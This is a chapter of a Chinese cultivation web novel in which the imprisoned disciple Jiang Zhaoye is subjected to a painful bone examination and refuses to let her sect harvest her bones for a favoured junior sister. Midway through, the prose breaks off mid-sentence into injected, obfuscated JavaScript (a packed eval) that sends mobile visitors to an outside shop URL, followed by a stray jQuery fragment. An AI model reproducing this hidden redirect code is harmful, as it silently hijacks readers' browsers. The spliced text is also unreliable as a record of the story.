根骨检验安排在第四日清晨。
照雪峰地底没有晨光，宗门却仍按卯时敲响剑钟。钟声穿过千层石壁，抵达寒狱时已经变得低沉模糊，像从很久以前传来。
三名医师进入冰窟，为首的是药堂长老温岫。他须发皆白，医术在九州颇有名声，江照夜幼时断骨也曾由他医治。
温岫身后跟着顾临川。
少年一夜未眠，眼底泛着青黑，手中却小心捧着一只白玉骨盘。盘内放着取骨所需的银刀、定魂针和续骨膏，每一件都擦得干干净净。
白玉骨盘是药堂用来救治重伤弟子的旧物。江照夜认得盘角那道浅浅裂纹。十二年前顾临川在雪岭失足，被妖狼咬断小腿，正是她背着他走了三十里，将他放在这只盘旁的诊榻上。那一夜药堂灯火通明，窗外积雪压断了松枝，温岫说再迟半个时辰，他的腿便保不住了。顾临川昏迷中死死抓着她的袖口，醒来后哭着喊了她七声大师姐。
如今同一只骨盘被他捧得如此安稳，里面盛着要伸进她身体的刀。
他们甚至已经准备好了器具。
“只是检验。”温岫先向江照夜说明，“今日不会取骨。”
江照夜看着骨盘：“若结果合用，明日便会取？”
温岫没有回答。
顾临川上前一步：“大师姐，师父给你的三日已经到了。”
“所以呢？”江照夜问道。
“小师妹昨夜又吐了血。”顾临川说道，“她醒来后第一句话，仍是求师父不要逼你。她甚至想自行废去识海中的仙人残念，可一旦这样做，她会变成痴儿。”
“你来告诉我这些，是想让我感动，还是愧疚？”江照夜问道。
顾临川脸上浮起怒意，又强行压下：“我只想让你知道，她从未想害你。”
江照夜看着他：“落星秘境前，你来惊鸿院求过一次根骨。那时没有仙人残念，她也不会死。”
“她每日修炼都很痛。”顾临川解释道。
“所以你认为我该替她疼。”江照夜说道。
“只是一小截根骨！”顾临川终于提高声音，“你有二百零六块骨头，失去一截还能再生。她只有这一条命！”
剑钟余音从石壁中散去。
寒狱里只剩顾临川急促的呼吸。温岫与另外两名医师低头整理器具，仿佛没有听见。
“骨头没有多余的。”江照夜说道。
“什么？”顾临川问道。
“人的身体不是宗门库房。”江照夜看着他，一字一句说道，“不会因为某样东西看起来可以再生，旁人便有权登记、调用。我的每一截骨头都长在我的身体里，没有哪一截多余，也没有哪一截天生应该属于柳含烟。”
顾临川握紧拳头：“大师姐，你什么时候变得如此自私？”
“从你们开始把我的付出当成义务的时候。”江照夜回答。
温岫轻咳一声：“先验骨吧。江姑娘，你若拒绝配合，老夫只能让宗主亲自封住你的神识。”
“温长老也认为该取？”江照夜问道。
温岫叹息：“医者只论救人的办法。取你一截根骨，可以救柳含烟一条性命；你有续骨膏与宗门灵脉滋养，半年便能恢复。轻重如何，并不难判断。”
“若取你的脊骨更合适呢？”江照夜问道。
温岫眉头一皱：“荒唐。老夫年迈，脊骨取出便会死。”
“那取你孙儿的呢？”江照夜继续问道，“他也是天生木灵体，根骨再生不比我慢。”
“你敢！”温岫厉声喝道。
话音出口，他自己先愣住。
江照夜没有嘲笑，只平静地看着他。
所谓轻重易判，是因为刀没有落在自己和所爱之人身上。
温岫脸色青白交替，最终不再谈大义，只对弟子说道：“取验骨针。”
两名医师解开江照夜右腕锁链。定魂针刺入肩胛下方，细长银针沿骨缝缓慢深入。江照夜没有麻药，经脉又被寒气冻得脆弱，针尖每推进一寸，都像有冰锥在骨髓中搅动。
顾临川站在一旁，脸色也有些发白。
“疼吗？”他下意识问道。
江照夜看向他：“你说呢？”
顾临川移开目光。
验骨针深入三寸时，温岫催动灵力。江照夜体内残存的剑骨受到刺激，忽然发出低沉剑鸣。
冰窟四壁随之震荡。无数淡金剑纹从她脊背亮起，一路延伸到四肢百骸。即使金丹破碎、经脉受损，她的天生剑体仍如一柄被埋在雪下的古剑，锋芒未死。
温岫眼中闪过惊叹，很快又变成狂喜。
“不止能洗髓。”温岫说道，“她的根骨被落星残念浸染过，已经与仙人剑意相合。若取三截炼成剑髓，柳含烟不仅可以承受残念，还可能彻底继承那位仙人的剑道。”
顾临川怔住：“三截？”
“一截只能保命，三截才最稳妥。”温岫解释道，“江照夜根基深厚，恢复时间或许要两年，但不会危及性命。”
江照夜冷冷看着他们。
一开始是一小截，不伤根基；发现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929894|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她有更多价值以后，立刻变成三截。若她继续退让，三截之后还会有剑血、剑心、剑骨。
人的贪婪总能替下一刀找到理由。
“我不同意。”江照夜说道。
温岫收回验骨针：“此事要由宗主决定。”
“我的身体，由我决定。”江照夜纠正道。
顾临川像被这句话激怒：“你明知道三截骨可以让小师妹得到完整仙人传承！那是照雪宗千年难遇的机缘。”
“终于不是为了救命了。”江照夜说道。
顾临川神色一僵。
“从一开始，你们要的就不只是她活着。”江照夜继续说道，“你们要她洗髓，要她不疼，要她得到仙人传承，要她成为天下最耀眼的剑修。每多一个愿望，便来我的身体里取一样东西。”
“她得到传承，也能护佑宗门。”顾临川辩解道。
“我护过宗门二十三年。”江照夜说道，“你们从未因此少向我索取一次。”
顾临川无言以对。
温岫收好器具，带两名医师离开寒狱。顾临川却留在原地，许久没有动。
“大师姐，”他低声说道，“你是不是恨我们？”
“是。”江照夜回答得没有迟疑。
顾临川显然没有料到她会承认。他眼中先是受伤，随后又生出恼怒，仿佛她的恨比他们准备取骨更不可原谅。
“我一直把你当亲姐姐。”顾临川说道。
“所以你来拿姐姐的骨头，给另一个妹妹。”江照夜说道。
“含烟比你弱。”顾临川回答。
“弱小不是向别人索取的凭证。”江照夜说道。
“可你明明能够承受。”顾临川坚持道。
“能够承受，也不是应该承受。”江照夜回答。
顾临川站了很久，最终转身离开。
石门即将闭合时，他没有回头，只低声留下一句话。
“若师父下令，我会亲自替小师妹取骨。”顾临川说道，“至少我动手会快一些，让你少受点苦。”
石门轰然合拢。
江照夜望着重新亮起的镇灵阵，忽然明白顾临川是真的觉得自己仍然爱她。
他会亲手伤害她，再把下刀利落当成最后的温柔。
冰面上，验骨针留下的一滴血没有立刻凝固。血中浮着细小金光，沿地底阵纹向照雪峰上方流去。
在遥远的惊鸿院里，柳含烟从昏睡中睁开眼。
她尚未得到根骨，脊背却已经浮出第一道属于江照夜的剑纹。